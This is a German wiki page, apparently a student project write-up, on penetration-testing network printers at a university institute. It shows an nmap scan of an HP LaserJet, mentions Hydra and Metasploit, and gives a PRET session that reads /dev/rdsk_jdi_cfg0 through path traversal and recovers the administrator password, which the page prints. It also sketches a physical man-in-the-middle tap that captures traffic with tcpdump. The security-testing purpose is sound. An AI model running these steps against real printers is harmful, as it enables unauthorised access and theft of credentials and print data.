Hacking Printers: Difference between revisions
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Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt. |
Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt. |
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Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage abgefragt werden |
Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage des druckenden Rechners abgefragt werden. |
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3. PS |
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==Physischer Man-In-The-Middle== |
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Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so |
Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie [http://www.midbittech.com/ SharkTap], aber auch ein [https://www.raspberrypi.org/ Raspberry Pi] mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet. |
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Anschließend kann mithilfe des Programms <code>tcpdump</code> der Netzwerkverkehr mitgeschnitten werden. |
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Revision as of 10:57, 11 October 2017
Printer Hacking How-To
'$> command'
Motivation und Szenario
Drucker sind weit verbreitete Geräte und stellen auf den ersten Blick kein lohnendes Angriffsziel dar. Das führt dazu, dass Updates teils nicht konsequent durchgeführt werden. So fand <ref> Jens Müller. [Exploting Network Printers] Master's Thesis. 2016. </ref> allein in Deutschland fast 2000 über das Internet erreichbare Drucker und in vielen getesteten Modellen gravierende Sicherheitslücken. Entgegen ihrer augenscheinlichen Harmlosigkeit läuft auf den von uns getesteten Druckern ein vollwertiges Betriebssystem und lassen sich daher von einem erfolgreichen Angreifer zu nützlichen Bots umfunktionieren. Außerdem enthalten Druckjobs potentiell vertrauliche Daten, die für einen Angreifer wertvoll sein könnten.
Dies motivierte uns dazu am Informatikinstitut eingesetzte Drucker auf Schwachstellen zu überprüfen und zu versuchen in das System des Druckers einzudringen. Als Leitfrage beschäftigte uns, ob dies einem Angreifer möglich ist, der keine Programmierkenntnisse besitzt und somit nicht in der Lage ist selbstständig Exploits zu entwickeln.
Wir konzentrierten uns auf drei verschiedene Geräte: einen (1) Canon ImageRunner 3225, einen (2) HP LaserJet 4250n und einen (3) HP LaserJet CD3505dn. Zur Durchführung unserer Angriffe beschränkten wir uns auf vorgefertigte Penetrationtesting Tools wie Hydra, MetaSploit oder Nessus.
Die von uns getesten Angriffe waren auf zwei der drei getesteten Drucker erfolgreich, was es uns erlaubte das Administratorpasswort zu erlangen und somit vollen Zugriff auf das Gerät zu erhalten.
http://hacking-printers.net/wiki/index.php/Port_9100_printing
Informationsbeschaffung
"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Glücklicherweise gibt es diverse Tools, die das ausspähen bzw. die Informationsbeschaffung erleichtern können.
- NMAP erlaubt das Scannen von IP-Adressbereichen auf offene Ports sowie die darauf angebotenen Dienste.
Beispiel:
$> nmap -A 192.168.188.22
Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-11 11:33 CEST
Nmap scan report for 192.168.188.22
Host is up (0.00093s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp HP JetDirect ftpd
23/tcp open telnet HP JetDirect printer telnetd
80/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
| http-title: hp LaserJet 4250
|_Requested resource was /hp/device/this.LCDispatcher
280/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
| http-title: hp LaserJet 4250
|_Requested resource was /hp/device/this.LCDispatcher
443/tcp open ssl/https?
|_ssl-date: 2017-10-11T11:03:52+00:00; +1h28m45s from scanner time.
515/tcp open printer
7627/tcp open http HP-ChaiSOE 1.0 (HP LaserJet http config)
|_http-server-header: HP-ChaiSOE/1.0
9100/tcp open jetdirect?
14000/tcp open tcpwrapped
MAC Address: 00:12:79:7E:EB:AE (Hewlett Packard)
- Nessus ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa CVE.
- OpenVAS ist eine Open Source Alternative zu Nessus.
- Das Lesen von Dokumentation der Zielgeräte kann auch reichhaltige Informationen zu sicherheitskritischen Aspekten liefern, beispielsweise erlaubte Zeichen und Länge von Passwörtern oder Sicherheitslücken, die in Patchnotes Erwähnung finden.
Schwachstellen ausnutzen
Metasploit
Metasploit ist ein Framework, das eine Liste von bekannte Schwachstellen mitbringt, und im Gegensatz zu den bereits genannten Vulenrability Scannern auch mit konfigurierbarer Payload ausnutzen kann.
Druckersprachen
1. PCL Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt. 2. PJL Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage des druckenden Rechners abgefragt werden. 3. PS
Tools
- Hydra ist ein Programm zum automatisierten massenhaften ausprobieren von Nutzerkennung-Passwort-Kombinationen auf Anmeldemasken. Dieses Vorgehen nennt man auch einen brute-force-Angriff. Hydra erlaubt die Einstellung verschiedener Passwort-Generierungs-Muster und unterstützt mehrere Login-Protokolle, beispielsweise
http-post
oderftp
Zur Konfiguration steht sowohl ein CLI als auch ein zusätzlich installierbares GUI zur Verfügung. Diese herangehensweise ist allerdings nur praktikabel, wenn der Vorgang parallelisierbar ist. Dies war im Kontext des Einbrechens in einen Drucker nicht möglich, weshalb dieser Angriff trotz bekannter Einschänkungen der Passwortkomplexität in unserem Fall nicht praktikabel war.
- Metasploit erlaubt es bekannte Schwachstellen automatisiert auszunutzen. Zu einer bekannten Vulnerability wird ein Modul implementiert, das einen konfigurierbaren Payload per Kommandozeilenbefehl
auf dem Ziel platziert.
Beispiel:
- PRET Das Printer Exploitation Toolkit ist im Rahmen einer Masterarbeit an der Ruhr Universität in Bochum entstanden. Dieses Programm baut eine Verbindung zu einem via Netzwerk oder USB angeschlossenen Drucker auf und nutzt eine der vorgestellten Druckersprachen zur Absetzung von Befehlen. Entsprechend der unterschiedlichen Mächtigkeit dieser Sprachen fällt auch die Menge der unterstützten Befehle unterschiedlich groß aus.
Beispiel:
$> pret <printer ip> ps
192.168.188.22:/> ?
Available commands (type help <topic>): ======================================= append date discover get loop put set version capture debug dump hang ls pwd shell cat delete edit help mirror rename site cd destroy exit hold mkdir replace timeout chvol devices find id open reset touch close df format known overlay resource traversal config dicts free load pagecount restart unlock cross disable fuzz lock print search uptime
192.168.188.22:/> ls ../../.. - 834 Jul 9 2000 (created Jul 9 2000) .profile d - Jan 1 1970 (created Jan 1 1970) bin d - Jan 1 1970 (created Jan 1 1970) dev d - Jan 1 1970 (created Jan 1 1970) etc d - Jan 1 1970 (created Jan 1 1970) hp d - Jan 1 1970 (created Jan 1 1970) hpmnt - 1276 Dec 16 2003 (created Oct 11 12:57) init d - Jan 1 1970 (created Jan 1 1970) lib d - Jan 1 1970 (created Jan 1 1970) tmp
192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0
Size mismatch (should: 0, is: 86016).
$> cat rdsk_jdi_cfg0
SFS1.0^@^@@^F^B^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@SFFSFILE^M^@^C^@<D6>[^@^@^@^@^@^@dm^@^P<D6>[^B^@3<89>^A^D^@^@^@^@^@^A^@1<89>^A^D^@^C^@^@^@%^@^K<98>^A^Q^@hp LaserJet 4250^@@^@^K<88>^A^D^@^@^@^@^@a^@^K<88>^A^D^@^@^@^@^@^M^@ <88>^A^D^@^^^@^@<AA>^L^@^L<91>
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Für die getesteten HP-Drucker enthält die durch den Pathtraversal Angriff erreichbare Datei /dev/rdsk_jdi_cfg0 das Administratorpasswort (in diesem Fall "Weimar70"). Dies erlaubt eine Konfiguration des Druckers nach Wünschen des Angreifers. Außerdem erlaubt PostScript die Manipulation vorhandener Dateien. Durch das Pathtraversal lassen sich so auch systemkritische Files wie binaries oder die Firmware manipulieren und eine root-Shell sollte so ohne größere Probleme geöffnet werden können. Dies haben wir allerdings nicht versucht, da wir den Drucker nicht beschädigen wollten.
Physischer Man-In-The-Middle
Um an Druckaufträge zu kommen, ohne vorher in den Drucker selbst eingedrungen sein zu müssen, muss die Verbindung angezapft werden. Hierfür gibt es spezielle Geräte wie SharkTap, aber auch ein Raspberry Pi mit entsprechenden Adaptern taugt für experimentelle Zwecke. Hierfür muss dieser so konfiguriert werden, dass dieser als Bridge fungiert, also den Netzwerkwerker eins-zu-eins weiterleitet.
Anschließend kann mithilfe des Programms tcpdump
der Netzwerkverkehr mitgeschnitten werden.
Gegenmaßnahmen
Literatur- und Quellenverzeichnis
<references/>
Weiterführende Literatur
- Messner, Michael: Hacking mit Metasploit, 2. Auflage. ISBN: 978-3-86490-224-6